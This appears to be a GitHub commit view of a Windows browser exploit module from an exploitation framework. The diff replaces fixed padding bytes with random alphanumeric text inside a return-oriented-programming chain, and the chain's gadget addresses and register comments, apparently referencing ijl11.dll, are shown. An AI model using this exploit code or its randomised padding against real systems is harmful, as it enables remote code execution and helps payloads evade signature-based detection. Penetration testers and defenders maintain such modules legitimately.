File tree Expand file tree Collapse file tree 1 file changed +4
-4
lines changed
modules/exploits/windows/browser Expand file tree Collapse file tree 1 file changed +4
-4
lines changed Original file line number Diff line number Diff line change @@ -100,10 +100,10 @@ def rop_payload(code)
100
100
xpl << [ 0x60024ea4 ] . pack ( "V" ) # MUL EAX,ECX # RETN 0x10
101
101
# EBX = dwSize (0x1000)
102
102
xpl << [ 0x60018084 ] . pack ( "V" ) # POP EBP # RETN
103
- xpl << [ 0x41414141 ] . pack ( "V" ) # padding
104
- xpl << [ 0x41414141 ] . pack ( "V" ) # padding
105
- xpl << [ 0x41414141 ] . pack ( "V" ) # padding
106
- xpl << [ 0x41414141 ] . pack ( "V" ) # padding
103
+ xpl << rand_text_alphanumeric ( 4 ) # padding
104
+ xpl << rand_text_alphanumeric ( 4 ) # padding
105
+ xpl << rand_text_alphanumeric ( 4 ) # padding
106
+ xpl << rand_text_alphanumeric ( 4 ) # padding
107
107
xpl << [ 0x60029f6c ] . pack ( "V" ) # .data ijl11.dll
108
108
xpl << [ 0x60012288 ] . pack ( "V" ) # POP ECX # RETN
109
109
xpl << [ 0x60023588 ] . pack ( "V" ) # ECX => (&POP EBX # RETN)
You can’t perform that action at this time.
0 commit comments